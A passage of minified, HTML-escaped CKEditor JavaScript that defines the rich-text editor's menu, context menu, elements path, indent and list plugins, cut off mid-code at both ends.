CKEDITOR.env.gecko&amp;&amp;CKEDITOR.env.mac&amp;&amp;(e+=&#039; onkeypress\x3d&quot;return false;&quot;&#039;);CKEDITOR.env.gecko&amp;&amp;(e+=&#039; onblur\x3d&quot;this.style.cssText \x3d this.style.cssText;&quot;&#039;);var e=e+(&#039; onmouseover\x3d&quot;CKEDITOR.tools.callFunction({hoverFn},{index});&quot; onmouseout\x3d&quot;CKEDITOR.tools.callFunction({moveOutFn},{index});&quot; &#039;+(CKEDITOR.env.ie?&#039;onclick\x3d&quot;return false;&quot; onmouseup&#039;:&quot;onclick&quot;)+&#039;\x3d&quot;CKEDITOR.tools.callFunction({clickFn},{index}); return false;&quot;\x3e&#039;),b=CKEDITOR.addTemplate(&quot;menuItem&quot;,e+&#039;\x3cspan class\x3d&quot;cke_menubutton_inner&quot;\x3e\x3cspan class\x3d&quot;cke_menubutton_icon&quot;\x3e\x3cspan class\x3d&quot;cke_button_icon cke_button__{iconName}_icon&quot; style\x3d&quot;{iconStyle}&quot;\x3e\x3c/span\x3e\x3c/span\x3e\x3cspan class\x3d&quot;cke_menubutton_label&quot;\x3e{label}\x3c/span\x3e{arrowHtml}\x3c/span\x3e\x3c/a\x3e\x3c/span\x3e&#039;),
c=CKEDITOR.addTemplate(&quot;menuArrow&quot;,&#039;\x3cspan class\x3d&quot;cke_menuarrow&quot;\x3e\x3cspan\x3e{label}\x3c/span\x3e\x3c/span\x3e&#039;);CKEDITOR.menu=CKEDITOR.tools.createClass({$:function(a,b){b=this._.definition=b||{};this.id=CKEDITOR.tools.getNextId();this.editor=a;this.items=[];this._.listeners=[];this._.level=b.level||1;var c=CKEDITOR.tools.extend({},b.panel,{css:[CKEDITOR.skin.getPath(&quot;editor&quot;)],level:this._.level-1,block:{}}),f=c.block.attributes=c.attributes||{};!f.role&amp;&amp;(f.role=&quot;menu&quot;);this._.panelDefinition=
c},_:{onShow:function(){var a=this.editor.getSelection(),b=a&amp;&amp;a.getStartElement(),c=this.editor.elementPath(),f=this._.listeners;this.removeAll();for(var e=0;e&lt;f.length;e++){var l=f[e](b,a,c);if(l)for(var g in l){var n=this.editor.getMenuItem(g);!n||n.command&amp;&amp;!this.editor.getCommand(n.command).state||(n.state=l[g],this.add(n))}}},onClick:function(a){this.hide();if(a.onClick)a.onClick();else a.command&amp;&amp;this.editor.execCommand(a.command)},onEscape:function(a){var b=this.parent;b?b._.panel.hideChild(1):
27==a&amp;&amp;this.hide(1);return!1},onHide:function(){this.onHide&amp;&amp;this.onHide()},showSubMenu:function(a){var b=this._.subMenu,c=this.items[a];if(c=c.getItems&amp;&amp;c.getItems()){b?b.removeAll():(b=this._.subMenu=new CKEDITOR.menu(this.editor,CKEDITOR.tools.extend({},this._.definition,{level:this._.level+1},!0)),b.parent=this,b._.onClick=CKEDITOR.tools.bind(this._.onClick,this));for(var f in c){var e=this.editor.getMenuItem(f);e&amp;&amp;(e.state=c[f],b.add(e))}var l=this._.panel.getBlock(this.id).element.getDocument().getById(this.id+
String(a));setTimeout(function(){b.show(l,2)},0)}else this._.panel.hideChild(1)}},proto:{add:function(a){a.order||(a.order=this.items.length);this.items.push(a)},removeAll:function(){this.items=[]},show:function(b,c,e,f){if(!this.parent&amp;&amp;(this._.onShow(),!this.items.length))return;c=c||(&quot;rtl&quot;==this.editor.lang.dir?2:1);var h=this.items,l=this.editor,g=this._.panel,n=this._.element;if(!g){g=this._.panel=new CKEDITOR.ui.floatPanel(this.editor,CKEDITOR.document.getBody(),this._.panelDefinition,this._.level);
g.onEscape=CKEDITOR.tools.bind(function(a){if(!1===this._.onEscape(a))return!1},this);g.onShow=function(){g._.panel.getHolderElement().getParent().addClass(&quot;cke&quot;).addClass(&quot;cke_reset_all&quot;)};g.onHide=CKEDITOR.tools.bind(function(){this._.onHide&amp;&amp;this._.onHide()},this);n=g.addBlock(this.id,this._.panelDefinition.block);n.autoSize=!0;var v=n.keys;v[40]=&quot;next&quot;;v[9]=&quot;next&quot;;v[38]=&quot;prev&quot;;v[CKEDITOR.SHIFT+9]=&quot;prev&quot;;v[&quot;rtl&quot;==l.lang.dir?37:39]=CKEDITOR.env.ie?&quot;mouseup&quot;:&quot;click&quot;;v[32]=CKEDITOR.env.ie?&quot;mouseup&quot;:
&quot;click&quot;;CKEDITOR.env.ie&amp;&amp;(v[13]=&quot;mouseup&quot;);n=this._.element=n.element;v=n.getDocument();v.getBody().setStyle(&quot;overflow&quot;,&quot;hidden&quot;);v.getElementsByTag(&quot;html&quot;).getItem(0).setStyle(&quot;overflow&quot;,&quot;hidden&quot;);this._.itemOverFn=CKEDITOR.tools.addFunction(function(a){clearTimeout(this._.showSubTimeout);this._.showSubTimeout=CKEDITOR.tools.setTimeout(this._.showSubMenu,l.config.menu_subMenuDelay||400,this,[a])},this);this._.itemOutFn=CKEDITOR.tools.addFunction(function(){clearTimeout(this._.showSubTimeout)},this);
this._.itemClickFn=CKEDITOR.tools.addFunction(function(a){var b=this.items[a];if(b.state==CKEDITOR.TRISTATE_DISABLED)this.hide(1);else if(b.getItems)this._.showSubMenu(a);else this._.onClick(b)},this)}a(h);for(var v=l.elementPath(),v=[&#039;\x3cdiv class\x3d&quot;cke_menu&#039;+(v&amp;&amp;v.direction()!=l.lang.dir?&quot; cke_mixed_dir_content&quot;:&quot;&quot;)+&#039;&quot; role\x3d&quot;presentation&quot;\x3e&#039;],u=h.length,q=u&amp;&amp;h[0].group,t=0;t&lt;u;t++){var p=h[t];q!=p.group&amp;&amp;(v.push(&#039;\x3cdiv class\x3d&quot;cke_menuseparator&quot; role\x3d&quot;separator&quot;\x3e\x3c/div\x3e&#039;),
q=p.group);p.render(this,t,v)}v.push(&quot;\x3c/div\x3e&quot;);n.setHtml(v.join(&quot;&quot;));CKEDITOR.ui.fire(&quot;ready&quot;,this);this.parent?this.parent._.panel.showAsChild(g,this.id,b,c,e,f):g.showBlock(this.id,b,c,e,f);l.fire(&quot;menuShow&quot;,[g])},addListener:function(a){this._.listeners.push(a)},hide:function(a){this._.onHide&amp;&amp;this._.onHide();this._.panel&amp;&amp;this._.panel.hide(a)}}});CKEDITOR.menuItem=CKEDITOR.tools.createClass({$:function(a,b,c){CKEDITOR.tools.extend(this,c,{order:0,className:&quot;cke_menubutton__&quot;+b});this.group=
a._.menuGroups[this.group];this.editor=a;this.name=b},proto:{render:function(a,e,m){var f=a.id+String(e),h=&quot;undefined&quot;==typeof this.state?CKEDITOR.TRISTATE_OFF:this.state,l=&quot;&quot;,g=h==CKEDITOR.TRISTATE_ON?&quot;on&quot;:h==CKEDITOR.TRISTATE_DISABLED?&quot;disabled&quot;:&quot;off&quot;;this.role in{menuitemcheckbox:1,menuitemradio:1}&amp;&amp;(l=&#039; aria-checked\x3d&quot;&#039;+(h==CKEDITOR.TRISTATE_ON?&quot;true&quot;:&quot;false&quot;)+&#039;&quot;&#039;);var n=this.getItems,v=&quot;\x26#&quot;+(&quot;rtl&quot;==this.editor.lang.dir?&quot;9668&quot;:&quot;9658&quot;)+&quot;;&quot;,u=this.name;this.icon&amp;&amp;!/\./.test(this.icon)&amp;&amp;(u=
this.icon);a={id:f,name:this.name,iconName:u,label:this.label,cls:this.className||&quot;&quot;,state:g,hasPopup:n?&quot;true&quot;:&quot;false&quot;,disabled:h==CKEDITOR.TRISTATE_DISABLED,title:this.label,href:&quot;javascript:void(&#039;&quot;+(this.label||&quot;&quot;).replace(&quot;&#039;&quot;)+&quot;&#039;)&quot;,hoverFn:a._.itemOverFn,moveOutFn:a._.itemOutFn,clickFn:a._.itemClickFn,index:e,iconStyle:CKEDITOR.skin.getIconStyle(u,&quot;rtl&quot;==this.editor.lang.dir,u==this.icon?null:this.icon,this.iconOffset),arrowHtml:n?c.output({label:v}):&quot;&quot;,role:this.role?this.role:&quot;menuitem&quot;,ariaChecked:l};
b.output(a,m)}}})}(),CKEDITOR.config.menu_groups=&quot;clipboard,form,tablecell,tablecellproperties,tablerow,tablecolumn,table,anchor,link,image,flash,checkbox,radio,textfield,hiddenfield,imagebutton,button,select,textarea,div&quot;,CKEDITOR.plugins.add(&quot;contextmenu&quot;,{requires:&quot;menu&quot;,onLoad:function(){CKEDITOR.plugins.contextMenu=CKEDITOR.tools.createClass({base:CKEDITOR.menu,$:function(a){this.base.call(this,a,{panel:{className:&quot;cke_menu_panel&quot;,attributes:{&quot;aria-label&quot;:a.lang.contextmenu.options}}})},proto:{addTarget:function(a,
e){a.on(&quot;contextmenu&quot;,function(a){a=a.data;var c=CKEDITOR.env.webkit?b:CKEDITOR.env.mac?a.$.metaKey:a.$.ctrlKey;if(!e||!c){a.preventDefault();if(CKEDITOR.env.mac&amp;&amp;CKEDITOR.env.webkit){var c=this.editor,m=(new CKEDITOR.dom.elementPath(a.getTarget(),c.editable())).contains(function(a){return a.hasAttribute(&quot;contenteditable&quot;)},!0);m&amp;&amp;&quot;false&quot;==m.getAttribute(&quot;contenteditable&quot;)&amp;&amp;c.getSelection().fake(m)}var m=a.getTarget().getDocument(),f=a.getTarget().getDocument().getDocumentElement(),c=!m.equals(CKEDITOR.document),
m=m.getWindow().getScrollPosition(),h=c?a.$.clientX:a.$.pageX||m.x+a.$.clientX,l=c?a.$.clientY:a.$.pageY||m.y+a.$.clientY;CKEDITOR.tools.setTimeout(function(){this.open(f,null,h,l)},CKEDITOR.env.ie?200:0,this)}},this);if(CKEDITOR.env.webkit){var b,c=function(){b=0};a.on(&quot;keydown&quot;,function(a){b=CKEDITOR.env.mac?a.data.$.metaKey:a.data.$.ctrlKey});a.on(&quot;keyup&quot;,c);a.on(&quot;contextmenu&quot;,c)}},open:function(a,e,b,c){this.editor.focus();a=a||CKEDITOR.document.getDocumentElement();this.editor.selectionChange(1);
this.show(a,e,b,c)}}})},beforeInit:function(a){var e=a.contextMenu=new CKEDITOR.plugins.contextMenu(a);a.on(&quot;contentDom&quot;,function(){e.addTarget(a.editable(),!1!==a.config.browserContextMenuOnCtrl)});a.addCommand(&quot;contextMenu&quot;,{exec:function(){a.contextMenu.open(a.document.getBody())}});a.setKeystroke(CKEDITOR.SHIFT+121,&quot;contextMenu&quot;);a.setKeystroke(CKEDITOR.CTRL+CKEDITOR.SHIFT+121,&quot;contextMenu&quot;)}}),function(){function a(a,b){function m(b){b=g.list[b];if(b.equals(a.editable())||&quot;true&quot;==b.getAttribute(&quot;contenteditable&quot;)){var c=
a.createRange();c.selectNodeContents(b);c.select()}else a.getSelection().selectElement(b);a.focus()}function f(){l&amp;&amp;l.setHtml(&#039;\x3cspan class\x3d&quot;cke_path_empty&quot;\x3e\x26nbsp;\x3c/span\x3e&#039;);delete g.list}var h=a.ui.spaceId(&quot;path&quot;),l,g=a._.elementsPath,n=g.idBase;b.html+=&#039;\x3cspan id\x3d&quot;&#039;+h+&#039;_label&quot; class\x3d&quot;cke_voice_label&quot;\x3e&#039;+a.lang.elementspath.eleLabel+&#039;\x3c/span\x3e\x3cspan id\x3d&quot;&#039;+h+&#039;&quot; class\x3d&quot;cke_path&quot; role\x3d&quot;group&quot; aria-labelledby\x3d&quot;&#039;+h+&#039;_label&quot;\x3e\x3cspan class\x3d&quot;cke_path_empty&quot;\x3e\x26nbsp;\x3c/span\x3e\x3c/span\x3e&#039;;
a.on(&quot;uiReady&quot;,function(){var b=a.ui.space(&quot;path&quot;);b&amp;&amp;a.focusManager.add(b,1)});g.onClick=m;var v=CKEDITOR.tools.addFunction(m),u=CKEDITOR.tools.addFunction(function(b,c){var f=g.idBase,e;c=new CKEDITOR.dom.event(c);e=&quot;rtl&quot;==a.lang.dir;switch(c.getKeystroke()){case e?39:37:case 9:return(e=CKEDITOR.document.getById(f+(b+1)))||(e=CKEDITOR.document.getById(f+&quot;0&quot;)),e.focus(),!1;case e?37:39:case CKEDITOR.SHIFT+9:return(e=CKEDITOR.document.getById(f+(b-1)))||(e=CKEDITOR.document.getById(f+(g.list.length-
1))),e.focus(),!1;case 27:return a.focus(),!1;case 13:case 32:return m(b),!1}return!0});a.on(&quot;selectionChange&quot;,function(){for(var b=[],f=g.list=[],e=[],k=g.filters,m=!0,z=a.elementPath().elements,r,w=z.length;w--;){var C=z[w],x=0;r=C.data(&quot;cke-display-name&quot;)?C.data(&quot;cke-display-name&quot;):C.data(&quot;cke-real-element-type&quot;)?C.data(&quot;cke-real-element-type&quot;):C.getName();(m=C.hasAttribute(&quot;contenteditable&quot;)?&quot;true&quot;==C.getAttribute(&quot;contenteditable&quot;):m)||C.hasAttribute(&quot;contenteditable&quot;)||(x=1);for(var B=0;B&lt;k.length;B++){var D=
k[B](C,r);if(!1===D){x=1;break}r=D||r}x||(f.unshift(C),e.unshift(r))}f=f.length;for(k=0;k&lt;f;k++)r=e[k],m=a.lang.elementspath.eleTitle.replace(/%1/,r),r=c.output({id:n+k,label:m,text:r,jsTitle:&quot;javascript:void(&#039;&quot;+r+&quot;&#039;)&quot;,index:k,keyDownFn:u,clickFn:v}),b.unshift(r);l||(l=CKEDITOR.document.getById(h));e=l;e.setHtml(b.join(&quot;&quot;)+&#039;\x3cspan class\x3d&quot;cke_path_empty&quot;\x3e\x26nbsp;\x3c/span\x3e&#039;);a.fire(&quot;elementsPathUpdate&quot;,{space:e})});a.on(&quot;readOnly&quot;,f);a.on(&quot;contentDomUnload&quot;,f);a.addCommand(&quot;elementsPathFocus&quot;,
e.toolbarFocus);a.setKeystroke(CKEDITOR.ALT+122,&quot;elementsPathFocus&quot;)}var e={toolbarFocus:{editorFocus:!1,readOnly:1,exec:function(a){(a=CKEDITOR.document.getById(a._.elementsPath.idBase+&quot;0&quot;))&amp;&amp;a.focus(CKEDITOR.env.ie||CKEDITOR.env.air)}}},b=&quot;&quot;;CKEDITOR.env.gecko&amp;&amp;CKEDITOR.env.mac&amp;&amp;(b+=&#039; onkeypress\x3d&quot;return false;&quot;&#039;);CKEDITOR.env.gecko&amp;&amp;(b+=&#039; onblur\x3d&quot;this.style.cssText \x3d this.style.cssText;&quot;&#039;);var c=CKEDITOR.addTemplate(&quot;pathItem&quot;,&#039;\x3ca id\x3d&quot;{id}&quot; href\x3d&quot;{jsTitle}&quot; tabindex\x3d&quot;-1&quot; class\x3d&quot;cke_path_item&quot; title\x3d&quot;{label}&quot;&#039;+
b+&#039; hidefocus\x3d&quot;true&quot;  onkeydown\x3d&quot;return CKEDITOR.tools.callFunction({keyDownFn},{index}, event );&quot; onclick\x3d&quot;CKEDITOR.tools.callFunction({clickFn},{index}); return false;&quot; role\x3d&quot;button&quot; aria-label\x3d&quot;{label}&quot;\x3e{text}\x3c/a\x3e&#039;);CKEDITOR.plugins.add(&quot;elementspath&quot;,{init:function(b){b._.elementsPath={idBase:&quot;cke_elementspath_&quot;+CKEDITOR.tools.getNextNumber()+&quot;_&quot;,filters:[]};b.on(&quot;uiSpace&quot;,function(c){&quot;bottom&quot;==c.data.space&amp;&amp;a(b,c.data)})}})}(),function(){function a(a,d){var k,m;d.on(&quot;refresh&quot;,
function(a){var c=[e],d;for(d in a.data.states)c.push(a.data.states[d]);this.setState(CKEDITOR.tools.search(c,b)?b:e)},d,null,100);d.on(&quot;exec&quot;,function(b){k=a.getSelection();m=k.createBookmarks(1);b.data||(b.data={});b.data.done=!1},d,null,0);d.on(&quot;exec&quot;,function(){a.forceNextSelectionCheck();k.selectBookmarks(m)},d,null,100)}var e=CKEDITOR.TRISTATE_DISABLED,b=CKEDITOR.TRISTATE_OFF;CKEDITOR.plugins.add(&quot;indent&quot;,{init:function(b){var d=CKEDITOR.plugins.indent.genericDefinition;a(b,b.addCommand(&quot;indent&quot;,
new d(!0)));a(b,b.addCommand(&quot;outdent&quot;,new d));b.ui.addButton&amp;&amp;(b.ui.addButton(&quot;Indent&quot;,{label:b.lang.indent.indent,command:&quot;indent&quot;,directional:!0,toolbar:&quot;indent,20&quot;}),b.ui.addButton(&quot;Outdent&quot;,{label:b.lang.indent.outdent,command:&quot;outdent&quot;,directional:!0,toolbar:&quot;indent,10&quot;}));b.on(&quot;dirChanged&quot;,function(a){var d=b.createRange(),f=a.data.node;d.setStartBefore(f);d.setEndAfter(f);for(var e=new CKEDITOR.dom.walker(d),l;l=e.next();)if(l.type==CKEDITOR.NODE_ELEMENT)if(!l.equals(f)&amp;&amp;l.getDirection())d.setStartAfter(l),
e=new CKEDITOR.dom.walker(d);else{var g=b.config.indentClasses;if(g)for(var n=&quot;ltr&quot;==a.data.dir?[&quot;_rtl&quot;,&quot;&quot;]:[&quot;&quot;,&quot;_rtl&quot;],v=0;v&lt;g.length;v++)l.hasClass(g[v]+n[0])&amp;&amp;(l.removeClass(g[v]+n[0]),l.addClass(g[v]+n[1]));g=l.getStyle(&quot;margin-right&quot;);n=l.getStyle(&quot;margin-left&quot;);g?l.setStyle(&quot;margin-left&quot;,g):l.removeStyle(&quot;margin-left&quot;);n?l.setStyle(&quot;margin-right&quot;,n):l.removeStyle(&quot;margin-right&quot;)}})}});CKEDITOR.plugins.indent={genericDefinition:function(a){this.isIndent=!!a;this.startDisabled=!this.isIndent},
specificDefinition:function(a,b,e){this.name=b;this.editor=a;this.jobs={};this.enterBr=a.config.enterMode==CKEDITOR.ENTER_BR;this.isIndent=!!e;this.relatedGlobal=e?&quot;indent&quot;:&quot;outdent&quot;;this.indentKey=e?9:CKEDITOR.SHIFT+9;this.database={}},registerCommands:function(a,b){a.on(&quot;pluginsLoaded&quot;,function(){for(var a in b)(function(a,b){var c=a.getCommand(b.relatedGlobal),d;for(d in b.jobs)c.on(&quot;exec&quot;,function(c){c.data.done||(a.fire(&quot;lockSnapshot&quot;),b.execJob(a,d)&amp;&amp;(c.data.done=!0),a.fire(&quot;unlockSnapshot&quot;),
CKEDITOR.dom.element.clearAllMarkers(b.database))},this,null,d),c.on(&quot;refresh&quot;,function(c){c.data.states||(c.data.states={});c.data.states[b.name+&quot;@&quot;+d]=b.refreshJob(a,d,c.data.path)},this,null,d);a.addFeature(b)})(this,b[a])})}};CKEDITOR.plugins.indent.genericDefinition.prototype={context:&quot;p&quot;,exec:function(){}};CKEDITOR.plugins.indent.specificDefinition.prototype={execJob:function(a,b){var k=this.jobs[b];if(k.state!=e)return k.exec.call(this,a)},refreshJob:function(a,b,k){b=this.jobs[b];a.activeFilter.checkFeature(this)?
b.state=b.refresh.call(this,a,k):b.state=e;return b.state},getContext:function(a){return a.contains(this.context)}}}(),function(){function a(a){function c(e){for(var h=u.startContainer,m=u.endContainer;h&amp;&amp;!h.getParent().equals(e);)h=h.getParent();for(;m&amp;&amp;!m.getParent().equals(e);)m=m.getParent();if(!h||!m)return!1;for(var q=h,h=[],t=!1;!t;)q.equals(m)&amp;&amp;(t=!0),h.push(q),q=q.getNext();if(1&gt;h.length)return!1;q=e.getParents(!0);for(m=0;m&lt;q.length;m++)if(q[m].getName&amp;&amp;k[q[m].getName()]){e=q[m];break}for(var q=
d.isIndent?1:-1,m=h[0],h=h[h.length-1],t=CKEDITOR.plugins.list.listToArray(e,g),w=t[h.getCustomData(&quot;listarray_index&quot;)].indent,m=m.getCustomData(&quot;listarray_index&quot;);m&lt;=h.getCustomData(&quot;listarray_index&quot;);m++)if(t[m].indent+=q,0&lt;q){var v=t[m].parent;t[m].parent=new CKEDITOR.dom.element(v.getName(),v.getDocument())}for(m=h.getCustomData(&quot;listarray_index&quot;)+1;m&lt;t.length&amp;&amp;t[m].indent&gt;w;m++)t[m].indent+=q;h=CKEDITOR.plugins.list.arrayToList(t,g,null,a.config.enterMode,e.getDirection());if(!d.isIndent){var x;
if((x=e.getParent())&amp;&amp;x.is(&quot;li&quot;))for(var q=h.listNode.getChildren(),B=[],D,m=q.count()-1;0&lt;=m;m--)(D=q.getItem(m))&amp;&amp;D.is&amp;&amp;D.is(&quot;li&quot;)&amp;&amp;B.push(D)}h&amp;&amp;h.listNode.replace(e);if(B&amp;&amp;B.length)for(m=0;m&lt;B.length;m++){for(D=e=B[m];(D=D.getNext())&amp;&amp;D.is&amp;&amp;D.getName()in k;)CKEDITOR.env.needsNbspFiller&amp;&amp;!e.getFirst(b)&amp;&amp;e.append(u.document.createText(&quot; &quot;)),e.append(D);e.insertAfter(x)}h&amp;&amp;a.fire(&quot;contentDomInvalidated&quot;);return!0}for(var d=this,g=this.database,k=this.context,m=a.getSelection(),m=(m&amp;&amp;m.getRanges()).createIterator(),
u;u=m.getNextRange();){for(var q=u.getCommonAncestor();q&amp;&amp;(q.type!=CKEDITOR.NODE_ELEMENT||!k[q.getName()]);){if(a.editable().equals(q)){q=!1;break}q=q.getParent()}q||(q=u.startPath().contains(k))&amp;&amp;u.setEndAt(q,CKEDITOR.POSITION_BEFORE_END);if(!q){var t=u.getEnclosedNode();t&amp;&amp;t.type==CKEDITOR.NODE_ELEMENT&amp;&amp;t.getName()in k&amp;&amp;(u.setStartAt(t,CKEDITOR.POSITION_AFTER_START),u.setEndAt(t,CKEDITOR.POSITION_BEFORE_END),q=t)}q&amp;&amp;u.startContainer.type==CKEDITOR.NODE_ELEMENT&amp;&amp;u.startContainer.getName()in k&amp;&amp;(t=
new CKEDITOR.dom.walker(u),t.evaluator=e,u.startContainer=t.next());q&amp;&amp;u.endContainer.type==CKEDITOR.NODE_ELEMENT&amp;&amp;u.endContainer.getName()in k&amp;&amp;(t=new CKEDITOR.dom.walker(u),t.evaluator=e,u.endContainer=t.previous());if(q)return c(q)}return 0}function e(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.is(&quot;li&quot;)}function b(a){return c(a)&amp;&amp;d(a)}var c=CKEDITOR.dom.walker.whitespaces(!0),d=CKEDITOR.dom.walker.bookmark(!1,!0),k=CKEDITOR.TRISTATE_DISABLED,m=CKEDITOR.TRISTATE_OFF;CKEDITOR.plugins.add(&quot;indentlist&quot;,
{requires:&quot;indent&quot;,init:function(b){function c(b){d.specificDefinition.apply(this,arguments);this.requiredContent=[&quot;ul&quot;,&quot;ol&quot;];b.on(&quot;key&quot;,function(a){if(&quot;wysiwyg&quot;==b.mode&amp;&amp;a.data.keyCode==this.indentKey){var c=this.getContext(b.elementPath());!c||this.isIndent&amp;&amp;CKEDITOR.plugins.indentList.firstItemInPath(this.context,b.elementPath(),c)||(b.execCommand(this.relatedGlobal),a.cancel())}},this);this.jobs[this.isIndent?10:30]={refresh:this.isIndent?function(a,b){var c=this.getContext(b),d=CKEDITOR.plugins.indentList.firstItemInPath(this.context,
b,c);return c&amp;&amp;this.isIndent&amp;&amp;!d?m:k}:function(a,b){return!this.getContext(b)||this.isIndent?k:m},exec:CKEDITOR.tools.bind(a,this)}}var d=CKEDITOR.plugins.indent;d.registerCommands(b,{indentlist:new c(b,&quot;indentlist&quot;,!0),outdentlist:new c(b,&quot;outdentlist&quot;)});CKEDITOR.tools.extend(c.prototype,d.specificDefinition.prototype,{context:{ol:1,ul:1}})}});CKEDITOR.plugins.indentList={};CKEDITOR.plugins.indentList.firstItemInPath=function(a,b,c){var d=b.contains(e);c||(c=b.contains(a));return c&amp;&amp;d&amp;&amp;d.equals(c.getFirst(e))}}(),
function(){function a(a,b,c){function d(c){if(!(!(l=k[c?&quot;getFirst&quot;:&quot;getLast&quot;]())||l.is&amp;&amp;l.isBlockBoundary()||!(m=b.root[c?&quot;getPrevious&quot;:&quot;getNext&quot;](CKEDITOR.dom.walker.invisible(!0)))||m.is&amp;&amp;m.isBlockBoundary({br:1})))a.document.createElement(&quot;br&quot;)[c?&quot;insertBefore&quot;:&quot;insertAfter&quot;](l)}for(var f=CKEDITOR.plugins.list.listToArray(b.root,c),e=[],g=0;g&lt;b.contents.length;g++){var h=b.contents[g];(h=h.getAscendant(&quot;li&quot;,!0))&amp;&amp;!h.getCustomData(&quot;list_item_processed&quot;)&amp;&amp;(e.push(h),CKEDITOR.dom.element.setMarker(c,
h,&quot;list_item_processed&quot;,!0))}h=null;for(g=0;g&lt;e.length;g++)h=e[g].getCustomData(&quot;listarray_index&quot;),f[h].indent=-1;for(g=h+1;g&lt;f.length;g++)if(f[g].indent&gt;f[g-1].indent+1){e=f[g-1].indent+1-f[g].indent;for(h=f[g].indent;f[g]&amp;&amp;f[g].indent&gt;=h;)f[g].indent+=e,g++;g--}var k=CKEDITOR.plugins.list.arrayToList(f,c,null,a.config.enterMode,b.root.getAttribute(&quot;dir&quot;)).listNode,l,m;d(!0);d();k.replace(b.root);a.fire(&quot;contentDomInvalidated&quot;)}function e(a,b){this.name=a;this.context=this.type=b;this.allowedContent=
b+&quot; li&quot;;this.requiredContent=b}function b(a,b,c,d){for(var f,e;f=a[d?&quot;getLast&quot;:&quot;getFirst&quot;](u);)(e=f.getDirection(1))!==b.getDirection(1)&amp;&amp;f.setAttribute(&quot;dir&quot;,e),f.remove(),c?f[d?&quot;insertBefore&quot;:&quot;insertAfter&quot;](c):b.append(f,d)}function c(a){function c(d){var f=a[d?&quot;getPrevious&quot;:&quot;getNext&quot;](g);f&amp;&amp;f.type==CKEDITOR.NODE_ELEMENT&amp;&amp;f.is(a.getName())&amp;&amp;(b(a,f,null,!d),a.remove(),a=f)}c();c(1)}function d(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(a.getName()in CKEDITOR.dtd.$block||a.getName()in CKEDITOR.dtd.$listItem)&amp;&amp;
CKEDITOR.dtd[a.getName()][&quot;#&quot;]}function k(a,d,f){a.fire(&quot;saveSnapshot&quot;);f.enlarge(CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS);var e=f.extractContents();d.trim(!1,!0);var h=d.createBookmark(),k=new CKEDITOR.dom.elementPath(d.startContainer),l=k.block,k=k.lastElement.getAscendant(&quot;li&quot;,1)||l,u=new CKEDITOR.dom.elementPath(f.startContainer),v=u.contains(CKEDITOR.dtd.$listItem),u=u.contains(CKEDITOR.dtd.$list);l?(l=l.getBogus())&amp;&amp;l.remove():u&amp;&amp;(l=u.getPrevious(g))&amp;&amp;n(l)&amp;&amp;l.remove();(l=e.getLast())&amp;&amp;l.type==CKEDITOR.NODE_ELEMENT&amp;&amp;
l.is(&quot;br&quot;)&amp;&amp;l.remove();(l=d.startContainer.getChild(d.startOffset))?e.insertBefore(l):d.startContainer.append(e);v&amp;&amp;(e=m(v))&amp;&amp;(k.contains(v)?(b(e,v.getParent(),v),e.remove()):k.append(e));for(;f.checkStartOfBlock()&amp;&amp;f.checkEndOfBlock();){u=f.startPath();e=u.block;if(!e)break;e.is(&quot;li&quot;)&amp;&amp;(k=e.getParent(),e.equals(k.getLast(g))&amp;&amp;e.equals(k.getFirst(g))&amp;&amp;(e=k));f.moveToPosition(e,CKEDITOR.POSITION_BEFORE_START);e.remove()}f=f.clone();e=a.editable();f.setEndAt(e,CKEDITOR.POSITION_BEFORE_END);f=new CKEDITOR.dom.walker(f);
f.evaluator=function(a){return g(a)&amp;&amp;!n(a)};(f=f.next())&amp;&amp;f.type==CKEDITOR.NODE_ELEMENT&amp;&amp;f.getName()in CKEDITOR.dtd.$list&amp;&amp;c(f);d.moveToBookmark(h);d.select();a.fire(&quot;saveSnapshot&quot;)}function m(a){return(a=a.getLast(g))&amp;&amp;a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.getName()in f?a:null}var f={ol:1,ul:1},h=CKEDITOR.dom.walker.whitespaces(),l=CKEDITOR.dom.walker.bookmark(),g=function(a){return!(h(a)||l(a))},n=CKEDITOR.dom.walker.bogus();CKEDITOR.plugins.list={listToArray:function(a,b,c,d,e){if(!f[a.getName()])return[];
d||(d=0);c||(c=[]);for(var g=0,h=a.getChildCount();g&lt;h;g++){var k=a.getChild(g);k.type==CKEDITOR.NODE_ELEMENT&amp;&amp;k.getName()in CKEDITOR.dtd.$list&amp;&amp;CKEDITOR.plugins.list.listToArray(k,b,c,d+1);if(&quot;li&quot;==k.$.nodeName.toLowerCase()){var l={parent:a,indent:d,element:k,contents:[]};e?l.grandparent=e:(l.grandparent=a.getParent(),l.grandparent&amp;&amp;&quot;li&quot;==l.grandparent.$.nodeName.toLowerCase()&amp;&amp;(l.grandparent=l.grandparent.getParent()));b&amp;&amp;CKEDITOR.dom.element.setMarker(b,k,&quot;listarray_index&quot;,c.length);c.push(l);
for(var m=0,n=k.getChildCount(),u;m&lt;n;m++)u=k.getChild(m),u.type==CKEDITOR.NODE_ELEMENT&amp;&amp;f[u.getName()]?CKEDITOR.plugins.list.listToArray(u,b,c,d+1,l.grandparent):l.contents.push(u)}}return c},arrayToList:function(a,b,c,d,e){c||(c=0);if(!a||a.length&lt;c+1)return null;for(var h,k=a[c].parent.getDocument(),m=new CKEDITOR.dom.documentFragment(k),n=null,u=c,v=Math.max(a[c].indent,0),D=null,F,E,I=d==CKEDITOR.ENTER_P?&quot;p&quot;:&quot;div&quot;;;){var G=a[u];h=G.grandparent;F=G.element.getDirection(1);if(G.indent==v){n&amp;&amp;a[u].parent.getName()==
n.getName()||(n=a[u].parent.clone(!1,1),e&amp;&amp;n.setAttribute(&quot;dir&quot;,e),m.append(n));D=n.append(G.element.clone(0,1));F!=n.getDirection(1)&amp;&amp;D.setAttribute(&quot;dir&quot;,F);for(h=0;h&lt;G.contents.length;h++)D.append(G.contents[h].clone(1,1));u++}else if(G.indent==Math.max(v,0)+1)G=a[u-1].element.getDirection(1),u=CKEDITOR.plugins.list.arrayToList(a,null,u,d,G!=F?F:null),!D.getChildCount()&amp;&amp;CKEDITOR.env.needsNbspFiller&amp;&amp;7&gt;=k.$.documentMode&amp;&amp;D.append(k.createText(&quot; &quot;)),D.append(u.listNode),u=u.nextIndex;else if(-1==
